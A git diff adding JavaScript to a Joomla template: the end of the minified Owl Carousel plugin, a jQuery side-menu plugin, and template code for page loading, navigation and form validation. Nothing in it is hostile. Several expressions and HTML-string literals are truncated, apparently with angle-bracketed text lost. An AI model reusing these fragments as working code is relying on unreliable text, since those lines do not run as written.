+!0===c.browser.support3d?c.transition3d(c.positionsInArray[a]):c.css2slide(c.positionsInArray[a],1),c.afterGo(),c.singleItemTransition(),!1;a=c.positionsInArray[a];!0===c.browser.support3d?(c.isCss3Finish=!1,!0===b?(c.swapSpeed("paginationSpeed"),g.setTimeout(function(){c.isCss3Finish=!0},c.options.paginationSpeed)):"rewind"===b?(c.swapSpeed(c.options.rewindSpeed),g.setTimeout(function(){c.isCss3Finish=!0},c.options.rewindSpeed)):(c.swapSpeed("slideSpeed"),g.setTimeout(function(){c.isCss3Finish=!0},
+c.options.slideSpeed)),c.transition3d(a)):!0===b?c.css2slide(a,c.options.paginationSpeed):"rewind"===b?c.css2slide(a,c.options.rewindSpeed):c.css2slide(a,c.options.slideSpeed);c.afterGo()},jumpTo:function(a){"function"===typeof this.options.beforeMove&&this.options.beforeMove.apply(this,[this.$elem]);a>=this.maximumItem||-1===a?a=this.maximumItem:0>=a&&(a=0);this.swapSpeed(0);!0===this.browser.support3d?this.transition3d(this.positionsInArray[a]):this.css2slide(this.positionsInArray[a],1);this.currentItem=
+this.owl.currentItem=a;this.afterGo()},afterGo:function(){this.prevArr.push(this.currentItem);this.prevItem=this.owl.prevItem=this.prevArr[this.prevArr.length-2];this.prevArr.shift(0);this.prevItem!==this.currentItem&&(this.checkPagination(),this.checkNavigation(),this.eachMoveUpdate(),!1!==this.options.autoPlay&&this.checkAp());"function"===typeof this.options.afterMove&&this.prevItem!==this.currentItem&&this.options.afterMove.apply(this,[this.$elem])},stop:function(){this.apStatus="stop";g.clearInterval(this.autoPlayInterval)},
+checkAp:function(){"stop"!==this.apStatus&&this.play()},play:function(){var a=this;a.apStatus="play";if(!1===a.options.autoPlay)return!1;g.clearInterval(a.autoPlayInterval);a.autoPlayInterval=g.setInterval(function(){a.next(!0)},a.options.autoPlay)},swapSpeed:function(a){"slideSpeed"===a?this.$owlWrapper.css(this.addCssSpeed(this.options.slideSpeed)):"paginationSpeed"===a?this.$owlWrapper.css(this.addCssSpeed(this.options.paginationSpeed)):"string"!==typeof a&&this.$owlWrapper.css(this.addCssSpeed(a))},
+addCssSpeed:function(a){return{"-webkit-transition":"all "+a+"ms ease","-moz-transition":"all "+a+"ms ease","-o-transition":"all "+a+"ms ease",transition:"all "+a+"ms ease"}},removeTransition:function(){return{"-webkit-transition":"","-moz-transition":"","-o-transition":"",transition:""}},doTranslate:function(a){return{"-webkit-transform":"translate3d("+a+"px, 0px, 0px)","-moz-transform":"translate3d("+a+"px, 0px, 0px)","-o-transform":"translate3d("+a+"px, 0px, 0px)","-ms-transform":"translate3d("+
+a+"px, 0px, 0px)",transform:"translate3d("+a+"px, 0px,0px)"}},transition3d:function(a){this.$owlWrapper.css(this.doTranslate(a))},css2move:function(a){this.$owlWrapper.css({left:a})},css2slide:function(a,b){var e=this;e.isCssFinish=!1;e.$owlWrapper.stop(!0,!0).animate({left:a},{duration:b||e.options.slideSpeed,complete:function(){e.isCssFinish=!0}})},checkBrowser:function(){var a=k.createElement("div");a.style.cssText=" -moz-transform:translate3d(0px, 0px, 0px); -ms-transform:translate3d(0px, 0px, 0px); -o-transform:translate3d(0px, 0px, 0px); -webkit-transform:translate3d(0px, 0px, 0px); transform:translate3d(0px, 0px, 0px)";
+a=a.style.cssText.match(/translate3d\(0px, 0px, 0px\)/g);this.browser={support3d:null!==a&&1===a.length,isTouch:"ontouchstart"in g||g.navigator.msMaxTouchPoints}},moveEvents:function(){if(!1!==this.options.mouseDrag||!1!==this.options.touchDrag)this.gestures(),this.disabledEvents()},eventTypes:function(){var a=["s","e","x"];this.ev_types={};!0===this.options.mouseDrag&&!0===this.options.touchDrag?a=["touchstart.owl mousedown.owl","touchmove.owl mousemove.owl","touchend.owl touchcancel.owl mouseup.owl"]:
+!1===this.options.mouseDrag&&!0===this.options.touchDrag?a=["touchstart.owl","touchmove.owl","touchend.owl touchcancel.owl"]:!0===this.options.mouseDrag&&!1===this.options.touchDrag&&(a=["mousedown.owl","mousemove.owl","mouseup.owl"]);this.ev_types.start=a[0];this.ev_types.move=a[1];this.ev_types.end=a[2]},disabledEvents:function(){this.$elem.on("dragstart.owl",function(a){a.preventDefault()});this.$elem.on("mousedown.disableTextSelect",function(a){return f(a.target).is("input, textarea, select, option")})},
+gestures:function(){function a(a){if(void 0!==a.touches)return{x:a.touches[0].pageX,y:a.touches[0].pageY};if(void 0===a.touches){if(void 0!==a.pageX)return{x:a.pageX,y:a.pageY};if(void 0===a.pageX)return{x:a.clientX,y:a.clientY}}}function b(a){"on"===a?(f(k).on(d.ev_types.move,e),f(k).on(d.ev_types.end,c)):"off"===a&&(f(k).off(d.ev_types.move),f(k).off(d.ev_types.end))}function e(b){b=b.originalEvent||b||g.event;d.newPosX=a(b).x-h.offsetX;d.newPosY=a(b).y-h.offsetY;d.newRelativeX=d.newPosX-h.relativePos;
+"function"===typeof d.options.startDragging&&!0!==h.dragging&&0!==d.newRelativeX&&(h.dragging=!0,d.options.startDragging.apply(d,[d.$elem]));(8d.newRelativeX)&&!0===d.browser.isTouch&&(void 0!==b.preventDefault?b.preventDefault():b.returnValue=!1,h.sliding=!0);(10d.newPosY)&&!1===h.sliding&&f(k).off("touchmove.owl");d.newPosX=Math.max(Math.min(d.newPosX,d.newRelativeX/5),d.maximumPixels+d.newRelativeX/5);!0===d.browser.support3d?d.transition3d(d.newPosX):d.css2move(d.newPosX)}
+function c(a){a=a.originalEvent||a||g.event;var c;a.target=a.target||a.srcElement;h.dragging=!1;!0!==d.browser.isTouch&&d.$owlWrapper.removeClass("grabbing");d.dragDirection=0>d.newRelativeX?d.owl.dragDirection="left":d.owl.dragDirection="right";0!==d.newRelativeX&&(c=d.getNewPosition(),d.goTo(c,!1,"drag"),h.targetElement===a.target&&!0!==d.browser.isTouch&&(f(a.target).on("click.disable",function(a){a.stopImmediatePropagation();a.stopPropagation();a.preventDefault();f(a.target).off("click.disable")}),
+a=f._data(a.target,"events").click,c=a.pop(),a.splice(0,0,c)));b("off")}var d=this,h={offsetX:0,offsetY:0,baseElWidth:0,relativePos:0,position:null,minSwipe:null,maxSwipe:null,sliding:null,dargging:null,targetElement:null};d.isCssFinish=!0;d.$elem.on(d.ev_types.start,".owl-wrapper",function(c){c=c.originalEvent||c||g.event;var e;if(3===c.which)return!1;if(!(d.itemsAmount<=d.options.items)){if(!1===d.isCssFinish&&!d.options.dragBeforeAnimFinish||!1===d.isCss3Finish&&!d.options.dragBeforeAnimFinish)return!1;
+!1!==d.options.autoPlay&&g.clearInterval(d.autoPlayInterval);!0===d.browser.isTouch||d.$owlWrapper.hasClass("grabbing")||d.$owlWrapper.addClass("grabbing");d.newPosX=0;d.newRelativeX=0;f(this).css(d.removeTransition());e=f(this).position();h.relativePos=e.left;h.offsetX=a(c).x-e.left;h.offsetY=a(c).y-e.top;b("on");h.sliding=!1;h.targetElement=c.target||c.srcElement}})},getNewPosition:function(){var a=this.closestItem();a>this.maximumItem?a=this.currentItem=this.maximumItem:0<=this.newPosX&&(this.currentItem=
+a=0);return a},closestItem:function(){var a=this,b=!0===a.options.scrollPerPage?a.pagesInArray:a.positionsInArray,e=a.newPosX,c=null;f.each(b,function(d,g){e-a.itemWidth/20>b[d+1]&&e-a.itemWidth/20(b[d+1]||b[d]-a.itemWidth)&&"right"===a.moveDirection()&&(!0===a.options.scrollPerPage?(c=b[d+1]||b[b.length-1],a.currentItem=f.inArray(c,a.positionsInArray)):
+(c=b[d+1],a.currentItem=d+1))});return a.currentItem},moveDirection:function(){var a;0>this.newRelativeX?(a="right",this.playDirection="next"):(a="left",this.playDirection="prev");return a},customEvents:function(){var a=this;a.$elem.on("owl.next",function(){a.next()});a.$elem.on("owl.prev",function(){a.prev()});a.$elem.on("owl.play",function(b,e){a.options.autoPlay=e;a.play();a.hoverStatus="play"});a.$elem.on("owl.stop",function(){a.stop();a.hoverStatus="stop"});a.$elem.on("owl.goTo",function(b,e){a.goTo(e)});
+a.$elem.on("owl.jumpTo",function(b,e){a.jumpTo(e)})},stopOnHover:function(){var a=this;!0===a.options.stopOnHover&&!0!==a.browser.isTouch&&!1!==a.options.autoPlay&&(a.$elem.on("mouseover",function(){a.stop()}),a.$elem.on("mouseout",function(){"stop"!==a.hoverStatus&&a.play()}))},lazyLoad:function(){var a,b,e,c,d;if(!1===this.options.lazyLoad)return!1;for(a=0;a=this.currentItem:!0)&&e=f?g.setTimeout(c,100):e()}var d=this,f=0,k;"DIV"===b.prop("tagName")?(b.css("background-image","url("+b.data("src")+")"),k=!0):b[0].src=b.data("src");c()},autoHeight:function(){function a(){var a=f(e.$owlItems[e.currentItem]).height();e.wrapperOuter.css("height",a+"px");e.wrapperOuter.hasClass("autoHeight")||g.setTimeout(function(){e.wrapperOuter.addClass("autoHeight")},0)}function b(){d+=1;e.completeImg(c.get(0))?a():100>=d?g.setTimeout(b,
+100):e.wrapperOuter.css("height","")}var e=this,c=f(e.$owlItems[e.currentItem]).find("img"),d;void 0!==c.get(0)?(d=0,b()):a()},completeImg:function(a){return!a.complete||"undefined"!==typeof a.naturalWidth&&0===a.naturalWidth?!1:!0},onVisibleItems:function(){var a;!0===this.options.addClassActive&&this.$owlItems.removeClass("active");this.visibleItems=[];for(a=this.currentItem;a=this.$userItems.length||-1===e?this.$userItems.eq(-1).after(a):this.$userItems.eq(e).before(a);this.setVars()},removeItem:function(a){if(0===this.$elem.children().length)return!1;a=void 0===a||-1===a?-1:a;this.unWrap();this.$userItems.eq(a).remove();this.setVars()}};f.fn.owlCarousel=function(a){return this.each(function(){if(!0===
+f(this).data("owl-init"))return!1;f(this).data("owl-init",!0);var b=Object.create(l);b.init(a,this);f.data(this,"owlCarousel",b)})};f.fn.owlCarousel.options={items:5,itemsCustom:!1,itemsDesktop:[1199,4],itemsDesktopSmall:[979,3],itemsTablet:[768,2],itemsTabletSmall:!1,itemsMobile:[479,1],singleItem:!1,itemsScaleUp:!1,slideSpeed:200,paginationSpeed:800,rewindSpeed:1E3,autoPlay:!1,stopOnHover:!1,navigation:!1,navigationText:["prev","next"],rewindNav:!0,scrollPerPage:!1,pagination:!0,paginationNumbers:!1,
+responsive:!0,responsiveRefreshRate:200,responsiveBaseWidth:g,baseClass:"owl-carousel",theme:"owl-theme",lazyLoad:!1,lazyFollow:!0,lazyEffect:"fade",autoHeight:!1,jsonPath:!1,jsonSuccess:!1,dragBeforeAnimFinish:!0,mouseDrag:!0,touchDrag:!0,addClassActive:!1,transitionStyle:!1,beforeUpdate:!1,afterUpdate:!1,beforeInit:!1,afterInit:!1,beforeMove:!1,afterMove:!1,afterAction:!1,startDragging:!1,afterLazyLoad:!1}})(jQuery,window,document);
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/sidemenu.js b/deployed/helix3/templates/shaper_helix3/js/plugin/sidemenu.js
new file mode 100644
index 00000000..fe404fbe
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/sidemenu.js
@@ -0,0 +1,381 @@
+;(function($) {
+
+ $.fn.gxSideMenu = function(options) {
+
+ 'use strict';
+
+ this.VERSION = '1.0.01';
+
+ this.options = {
+ mode: 'normal', // normal | tiny
+ interval: 300,
+ openOnHover: true, // true | false
+ clickTrigger: true, // true | false
+ trigger: '.menu-trigger',
+ followURLs: true, // true | false
+ direction: 'left', // left | right
+ tipItem: '#gx-sidemenu-tip',
+ startFrom: 60,
+ startClosed: true,
+ scrolling: true,
+ urlBase: '',
+ backText: 'Back',
+ onOpen: function() {},
+ onClose: function() {}
+ };
+
+ $.extend(this.options, options);
+
+ this.inAction = false;
+ this.myScroll = false;
+
+ var
+ URL = window.location.href.replace(window.location.origin, ''),
+ sideMenu = $(this),
+ sideMenuLogin = sideMenu.find('#gx-sidemenu-login').length ? sideMenu.find('#gx-sidemenu-login') : false,
+ Side = false,
+ Active = false,
+ t = this;
+
+ if (t.options.direction !== 'right') {
+ sideMenu.css({
+ right: 'auto',
+ left: -sideMenu.width(),
+ height: (t.options.mode != 'tiny' ? $(window).height() : 'auto'),
+ top: (sideMenu.height() < $(window).height() && t.options.mode != 'normal') ? (($(window).height()-sideMenu.height()) / 2) : 0
+ });
+ } else {
+ sideMenu.css({
+ left: 'auto',
+ right: -sideMenu.width(),
+ height: (t.options.mode != 'tiny' ? $(window).height() : 'auto'),
+ top: (sideMenu.height() < $(window).height() && t.options.mode != 'normal') ? (($(window).height()-sideMenu.height()) / 2) : 0
+ });
+ }
+
+ if (t.options.openOnHover != false) {
+ sideMenu.bind('mouseenter tap', function() {
+ Side = true;
+ Active = true;
+ }).bind('mouseleave', function() {
+ Side = false;
+ Active = false;
+ if (t.options.openOnHover != false) {
+ t.close();
+ }
+ });
+ }
+
+ if (this.options.mode != 'normal') {
+ sideMenu.addClass('tiny');
+ }
+
+ var sideMenuInner = sideMenu.find('.gx-sidemenu-inner:first');
+ sideMenuInner.css({
+ top: 0
+ });
+
+ sideMenu.append(sideMenuInner);
+
+ sideMenu.find('ul').find('li').each(function() {
+ if ($(this).find('ul').length > 0) {
+ if ($(this).find('.arrow').length == 0) {
+ $(this).find('>a').append(' ');
+ }
+ }
+ $(this).after(' ');
+ });
+
+ sideMenu.find('ul').find('li > a').each(function(i, e) {
+ $(this).prop('tabindex', i);
+ $(this).prop('data-valami', 'false');
+ });
+
+ if (t.options.mode != 'normal') {
+ if (!$(t.options.tipItem).length) {
+ var tip = $('
').hide();
+ tip.appendTo('body');
+ if (t.options.tipItem.indexOf('#') == -1) {
+ tip.addClass(t.options.tipItem.replace('.', ''));
+ } else {
+ tip.prop('id', t.options.tipItem.replace('#', ''));
+ }
+ } else {
+ var tip = $(t.options.tipItem);
+ }
+
+ tip.bind('mouseenter', function() { $(this).hide(); });
+
+ sideMenu.find('li').bind('mouseenter', function(e) {
+ $(t.options.tipItem).html($(this).find('.text:first').text()).css({
+ left: (t.options.direction != 'right' ? (sideMenu.width()+5) : 'auto'),
+ right: (t.options.direction != 'right' ? 'auto' : (sideMenu.width()+5)),
+ top: $(this).offset().top+5,
+ position: 'fixed'
+ }).fadeIn(100);
+ }).bind('mouseleave', function(e) {
+ $(t.options.tipItem).hide();
+ });
+ }
+
+ sideMenuInner.find('ul.gx-menu ul').hide().parent('li').find('a:first, a:first span').bind('click tap', function(e) {
+ e.preventDefault();
+ var parentsLength = $(this).parents('ul').length,
+ itemParent = $(this).parents('ul:first'),
+ backBtn = $(''+t.options.backText+' ');
+
+ var itemLI = $(this).parents('li:first').addClass('active-menu');
+
+ if ($(this).next('ul').find('a.back').length == 0)
+ $(this).next('ul').prepend(backBtn);
+
+ var UL = $(this).next('ul').css({
+ position: 'absolute',
+ background: 'transparent',
+ width: itemParent.width(),
+ top: 0,
+ right: -itemParent.width(),
+ height: 'auto'
+ //height: itemParent.height()
+ }).show().addClass('active-sub');
+
+ UL.insertAfter(itemParent);
+
+ itemParent.fadeOut(t.options.interval);
+ UL.show().animate({
+ right: 0,
+ opacity: 1
+ }, t.options.interval);
+
+ if (t.options.scrolling == true && t.myScroll) {
+ var activeUL = sideMenu.find('ul.active-sub:last').length ? sideMenu.find('ul.active-sub:last') : sideMenu.find('ul:first');
+ sideMenuInner.find('div.scroll').css({ height: activeUL.height() });
+ t.myScroll.refresh();
+ }
+
+ backBtn.bind('click tap', function() {
+ UL.removeClass('active-sub').stop().animate({right: -UL.width(), left: 'auto', opacity: 0 }, t.options.interval, function() {
+ $(this).appendTo(itemLI);
+ itemLI.removeClass('active-menu');
+ });
+ itemParent.fadeIn(t.options.interval);
+ if (t.options.scrolling == true && t.myScroll) {
+ var activeUL = sideMenu.find('ul.active-sub:last').length ? sideMenu.find('ul.active-sub:last') : sideMenu.find('ul:first');
+ sideMenuInner.find('div.scroll').css({ height: activeUL.height() });
+ t.myScroll.refresh();
+ }
+ });
+ });
+
+ if (this.options.followURLs != false) {
+ URL = URL.replace(/https?:\/\//gi, '').replace(window.location.hostname, '').replace(this.options.urlBase, '');
+ sideMenuInner.find('ul').find('a[href="'+URL+'"]').each(function() {
+ $(this).parent('li:first').addClass('active-link');
+ var toHide = $(this).parents('li').not('.active-link');
+ $(toHide.get().reverse()).each(function() {
+ var oldInterval = t.options.interval;
+ t.options.interval = 0;
+ $(this).find('>a').trigger('click');
+ t.options.interval = oldInterval;
+ });
+ });
+ }
+
+
+ // BIND MOUSE ON CORNERS
+
+ if (t.options.openOnHover != false) {
+ $(document).bind('mousemove', function(e,o) {
+ if (t.inAction != true) {
+ var ww = t.options.startFrom; // sideMenu.width() * 0.2;
+ if (!Active) {
+ if (t.options.direction != 'right') {
+ if (e.pageX < ww) { Side = true; } else { Side = false; }
+ } else {
+ if (e.pageX > $(window).width()-ww) { Side = true; } else { Side = false; }
+ }
+ }
+ !Side ? t.close() : t.open();
+ }
+ });
+
+ if (isMobile.any()) {
+ $.event.special.swipe.horizontalDistanceThreshold = 100;
+
+ $( document ).on( "swipeleft", function() {
+ if (t.options.direction != 'left') { // RIGHT case
+ if (!sideMenu.hasClass('opened')) {
+ t.open();
+ }
+ } else { // LEFT case
+ if (sideMenu.hasClass('opened')) {
+ t.close();
+ }
+ }
+ });
+ $( document ).on( "swiperight", function() {
+ if (t.options.direction != 'left') { // RIGHT case
+ if (sideMenu.hasClass('opened')) {
+ t.close();
+ }
+ } else { // LEFT case
+ if (!sideMenu.hasClass('opened')) {
+ t.open();
+ }
+ }
+ });
+ $('body').on('tap', function() {
+ if (sideMenu.hasClass('opened') && Active == false) {
+ t.close();
+ }
+ Active = false;
+ });
+ }
+ }
+
+ this.open = function() {
+ t.inAction = true;
+ if (t.options.direction != 'right') {
+ if (!sideMenu.hasClass('opened')) {
+ sideMenu.stop().animate({left: 0}, t.options.interval, function() {
+ sideMenu.addClass('opened');
+ t.inAction = false;
+ t.options.onOpen();
+ });
+ }
+ } else {
+ if (!sideMenu.hasClass('opened')) {
+ sideMenu.stop().animate({right: 0}, t.options.interval, function() {
+ sideMenu.addClass('opened');
+ t.inAction = false;
+ t.options.onOpen();
+ });
+ }
+ }
+ };
+
+ this.close = function() {
+ if (t.options.direction !== 'right') {
+ if (sideMenu.hasClass('opened')) {
+ t.inAction = true;
+ sideMenu.stop().animate({left: -sideMenu.width() }, t.options.interval, function() {
+ sideMenu.removeClass('opened');
+ t.inAction = false;
+ t.options.onClose();
+ });
+ }
+ } else {
+ if (sideMenu.hasClass('opened')) {
+ t.inAction = true;
+ sideMenu.stop().animate({right: -sideMenu.width() }, t.options.interval, function() {
+ sideMenu.removeClass('opened');
+ t.inAction = false;
+ t.options.onClose();
+ });
+ }
+ }
+ };
+
+ this.openClose = function() {
+ var ww = t.options.startFrom; //sideMenu.width() * 0.2;
+ if (!Active) {
+ if (t.options.direction != 'right') {
+ if (sideMenu.offset().left <= 0) { Side = true; } else { Side = false; }
+ } else {
+ if (sideMenu.offset().left >= ww) { Side = true; } else { Side = false; }
+ }
+ }
+ if (Side == true && !sideMenu.hasClass('opened')) {
+ t.open();
+ } else {
+ t.close();
+ $(t.options.tipItem).hide();
+ }
+ };
+
+ $(window).resize(function() {
+ if (!sideMenu.hasClass('opened')) {
+ sideMenu.css({
+ height: t.options.mode != 'tiny' ? $(window).height() : 'auto',
+ left: t.options.direction != 'right' ? -sideMenu.width() : 'auto',
+ right: t.options.direction != 'left' ? -sideMenu.width() : 'auto',
+ top: (sideMenu.height() < $(window).height() && t.options.mode != 'normal') ? (($(window).height()-sideMenu.height()) / 2) : 0
+ });
+ } else {
+ sideMenu.css({
+ height: t.options.mode != 'tiny' ? $(window).height() : 'auto',
+ top: (sideMenu.height() < $(window).height() && t.options.mode != 'normal') ? (($(window).height()-sideMenu.height()) / 2) : 0
+ });
+ }
+
+ sideMenuInner.css({
+ height: t.options.mode != 'normal' ? 'auto' : (sideMenu.innerHeight() - (sideMenuLogin!=false ? sideMenuLogin.innerHeight() : 0)),
+ paddingBottom: 0
+ });
+
+ if (t.options.scrolling == true && t.myScroll) {
+ sideMenuInner.children('div.scroll').css({ height: sideMenu.find('ul.active-sub:last').height() });
+ t.myScroll.refresh();
+ }
+ });
+
+ sideMenuInner.css({
+ height: t.options.mode != 'normal' ? 'auto' : (sideMenu.innerHeight() - (sideMenuLogin!=false ? sideMenuLogin.innerHeight() : 0))
+ });
+
+ if (t.options.startClosed != true) {
+ if (t.options.openOnHover != false)
+ t.open();
+ }
+
+ if (t.options.clickTrigger != false) {
+ $(t.options.trigger).bind('click', function() {
+ t.openClose();
+ });
+ }
+
+ if (t.options.scrolling != false) {
+ if (!t.myScroll && sideMenuLogin != false) {
+ var activeUL = sideMenu.find('ul.active-sub:last').length ? sideMenu.find('ul.active-sub:last') : sideMenu.find('ul:first');
+ sideMenuInner.find('div.scroll').css({ height: activeUL.height() });
+ setTimeout(function() {
+ t.myScroll = new IScroll('#'+sideMenuInner.prop('id'), {
+ mouseWheel: true,
+ scrollbars: true,
+ swipe: true,
+ click: true,
+ keyBindings: true,
+ tap: true
+ });
+ }, 500);
+ }
+ }
+
+
+ if (isMobile.any() !== false) {
+ $('.icon, .entypo').addClass('mobile');
+ }
+ }
+
+})(jQuery);
+
+var isMobile = {
+ Android: function() {
+ return navigator.userAgent.match(/Android/i) ? true : false;
+ },
+ BlackBerry: function() {
+ return navigator.userAgent.match(/BlackBerry/i) ? true : false;
+ },
+ iOS: function() {
+ return navigator.userAgent.match(/iPhone|iPad|iPod/i) ? true : false;
+ },
+ Opera: function() {
+ return navigator.userAgent.match(/Opera Mini/i) ? true : false;
+ },
+ Windows: function() {
+ return navigator.userAgent.match(/IEMobile/i) ? true : false;
+ },
+ any: function() {
+ return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows());
+ }
+};
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/template.js b/deployed/helix3/templates/shaper_helix3/js/plugin/template.js
new file mode 100644
index 00000000..e1e9663d
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/template.js
@@ -0,0 +1,918 @@
+$(document).ready(function(){
+
+ // UI init
+ ui.init();
+
+ // Modules init
+ modules.hashNav();
+ modules.video('intro-video');
+
+
+
+ // Forms
+ forms.init('body');
+
+});
+
+var ui = (function(window, undefined) {
+
+ 'use strict';
+
+ function pageLoad() {
+
+ $('html')
+ .addClass(helpers.mobile() ? 'm-touch' : 'm-desktop');
+
+ $(window)
+ .on('load', function() {
+
+ $('html').addClass('m-loaded');
+ $('.b-loader').addClass('b-loader__complete', true);
+
+ });
+
+ }
+
+ function headerState() {
+
+ var $header = $('.b-header__float'),
+
+ hasScreen = $('#intro').length > 0,
+ threshold = 10;
+
+ processing();
+
+ $(window).bind('scroll.headerState resize.headerState', function() {
+
+ processing();
+
+ });
+
+ function processing() {
+
+ var $locker = $('.b-leaflet_locker'),
+ scroll = $locker.length ? Math.abs(parseInt($locker.css('margin-top')), 10) : document.documentElement.scrollTop || document.body.scrollTop;
+
+ $header.toggleClass('b-header__transparent', hasScreen && scroll < threshold);
+
+ }
+
+ }
+
+ function navigation() {
+
+ var $toggle = $('.js-nav'),
+ $header = $('.b-header');
+
+ $toggle.bind('click', function() {
+
+ $header
+ .toggleClass('b-header__transparent', $header.hasClass('b-header__showNav'))
+ .toggleClass('b-header__showNav');
+
+ });
+
+ }
+
+ function targetBlank() {
+
+ $('a[data-target="_blank"]')
+ .on('click', function() {
+
+ return !window.open($(this).attr('href'));
+
+ });
+
+ }
+
+ return {
+ init: function() {
+
+ // Loader
+ pageLoad();
+
+ // Header state
+ headerState();
+
+ // Navigation
+ navigation();
+
+ // Target "blank" links
+ targetBlank();
+
+ }
+ };
+
+})(window);
+
+var helpers = (function(window, undefined) {
+
+ 'use strict';
+
+ function pixelsRatio() {
+
+ return 'devicePixelRatio' in window && window.devicePixelRatio > 1;
+
+ }
+
+ function screen() {
+
+ var deviceScreen = $(window).width();
+
+ if (deviceScreen < 480) {
+
+ return 'xs';
+
+ }
+
+ else if (deviceScreen >= 480 && deviceScreen < 768)
+ {
+
+ return 'sm';
+
+ }
+
+ else if (deviceScreen >= 768 && deviceScreen < 970)
+ {
+
+ return 'md';
+
+ }
+
+ else if (deviceScreen >= 970)
+ {
+
+ return 'lg';
+
+ }
+
+ }
+
+ function mobile() {
+
+ var uaTest = {
+
+ android: function() {
+ return navigator.userAgent.match(/Android/i);
+ },
+
+ blackBerry: function() {
+ return navigator.userAgent.match(/BlackBerry/i);
+ },
+
+ iOS: function() {
+ return navigator.userAgent.match(/iPhone|iPad|iPod/i);
+ },
+
+ opera: function() {
+ return navigator.userAgent.match(/Opera Mini/i);
+ },
+
+ windows: function() {
+ return navigator.userAgent.match(/IEMobile/i);
+ }
+
+ };
+
+ return (uaTest.android() || uaTest.blackBerry() || uaTest.iOS() || uaTest.opera() || uaTest.windows())
+
+ }
+
+ return {
+ mobile: mobile,
+ pixelsRatio: pixelsRatio,
+ screen: screen
+ };
+
+})(window);
+
+/*
+
+ Copyright (c) 2015 Loginov Artem http://loginov.biz
+ Dual licensed under the MIT license and GPL license
+
+*/
+
+var forms = (function(window, undefined) {
+
+ 'use strict';
+
+ function init(namespace) {
+
+ forms.styleControls(namespace + ' input[type="checkbox"], ' + namespace + ' input[type="radio"]', namespace + ' select');
+ forms.makePlaceholders(namespace + ' [placeholder]');
+
+ forms.validate(namespace);
+
+ }
+
+ function validate(namespace) {
+
+ $(namespace + ' form').each(function() {
+
+ var $form = $(this);
+
+ if ($.isFunction($.fn.validate) && $form.data('checkup')) {
+
+ $form
+ .validate({
+ onChange: true,
+ eachValidField: function() {
+
+ formNotifications.hideErrorLabel.call($(this));
+
+ },
+ eachInvalidField: function(status, options) {
+
+ var conditional = typeof $(this).data('conditionalType') !== 'undefined' ? formNotifications.labels.conditional[$(this).data('conditionalType')] : formNotifications.labels.conditional.default,
+ pattern = typeof $(this).data('patternType') !== 'undefined' ? formNotifications.labels.pattern[$(this).data('patternType')] : formNotifications.labels.pattern.default,
+
+ notification = (options.required) ? ((!options.conditional) ? conditional : (!options.pattern) ? pattern : '') : formNotifications.labels.required;
+
+ formNotifications.showErrorLabel.call($(this), notification, 0);
+
+ },
+ valid: function(e) {
+
+ var $form = $(this),
+ $btn = $(this).find('button[type="submit"].b-btn'),
+
+ validHandler = $(this).data('callback'),
+ xhrSubmit = $(this).data('xhr');
+
+ if(typeof window[validHandler] === 'function') {
+
+ e.preventDefault();
+ window[validHandler].call($form);
+
+ return false;
+
+ }
+
+ if(xhrSubmit) {
+
+ e.preventDefault();
+
+ $.ajax({
+ url: $form.attr('action'),
+ method: $form.attr('method'),
+ data: $form.serialize(),
+ dataType: 'json',
+ beforeSend: function() {
+
+ $btn.toggleClass('request');
+
+ },
+ success: function(response) {
+
+ $btn.toggleClass('request');
+ xhrFormHandler.response.call($form, response);
+
+ }
+ });
+
+ }
+
+ }
+
+ })
+ .find('input, textarea').on('focus', function() {
+
+ $(this).closest('.m-error').removeClass('m-error');
+
+ });
+
+ }
+
+ });
+
+ }
+
+ function styleControls(input, select, file) {
+
+ if ($.isFunction($.fn.uniform)) {
+
+ // Inputs
+ $(input).not('.b-pricing_switcher input').uniform();
+
+ // Select
+ if(typeof select !== 'undefined') {
+
+ $(select).uniform({
+ selectClass: 'e-select',
+ selectAutoWidth: false
+ });
+
+ }
+
+ }
+
+ }
+
+ function makePlaceholders(selector) {
+
+ if ($.isFunction($.fn.placeholder)) {
+
+ $(selector).placeholder();
+
+ }
+
+ }
+
+ return {
+ init: init,
+ makePlaceholders: makePlaceholders,
+ styleControls: styleControls,
+ validate: validate
+ };
+
+})(window);
+
+// Notifications system
+var formNotifications = (function(window, undefined) {
+
+ 'use strict';
+
+ var settings = {
+ errorClass: 'm-error',
+ errorSuffix: '_error'
+ };
+
+ var labels = {
+ required: 'This is required field',
+ conditional: {
+ default: 'Input does not coincide',
+ credit: 'Invalid credit card number',
+ passwords: 'The passwords entered do not match'
+ },
+ pattern: {
+ default: 'Invalid data format',
+ email: 'Invalid email address',
+ phone: 'Invalid phone number'
+ },
+ submit: {
+ success: 'Thank you. We will contact you shortly.',
+ error: 'Error.'
+ }
+ };
+
+ // Notification alerts
+ function showMessage(msg, status, hideForm, callback) {
+
+ var $notice = this.find('.b-form_message').length ? this.find('.b-form_message') : $('
').prependTo(this),
+ suffix = status ? 'success' : 'error';
+
+ // Set height
+ $notice
+ .height($notice.height())
+ .html('');
+
+ $notice
+ .toggleClass('b-form_message__show', true)
+ .animate({ height: $notice.find('.b-form_message_inner').height(), paddingBottom: hideForm ? 0 : $notice.css('padding-bottom') }, 200, 'easeOutQuart', function() {
+
+ $(this).css({ height: '' });
+
+ });
+
+ if (hideForm) {
+
+ $notice
+ .next('form')
+ .toggleClass('b-form__hide', true)
+ .slideUp({ duration: 300, easing: 'easeOutQuart' });
+
+ }
+
+ // Callback
+ if(typeof callback === 'function') {
+
+ callback.call(this);
+
+ }
+
+ }
+
+ function hideMessage() {
+
+ var $notice = this.find('.b-form_message').length ? this.find('.b-form_message') : $('
').prependTo(this);
+
+ $notice
+ .slideUp({duration: 300, easing: 'easeOutQuart' });
+
+ }
+
+ // Notification labels
+ function showErrorLabel(text, status) {
+
+ var $field = this.closest('.b-form_box_field');
+ $field.find('.b-form_box_field' + settings.errorSuffix).remove();
+
+ $field.append('' + text + '
');
+
+ setTimeout(function() {
+
+ $field.addClass(settings.errorClass);
+
+ }, 100);
+
+ }
+
+ function hideErrorLabel() {
+
+ var $field = this.closest('.b-form_box_field');
+
+ $field.removeClass(settings.errorClass);
+ $field.find('.b-form_box_field' + settings.errorSuffix).remove();
+
+ }
+
+ return {
+ labels: labels,
+ showErrorLabel: showErrorLabel,
+ showMessage: showMessage,
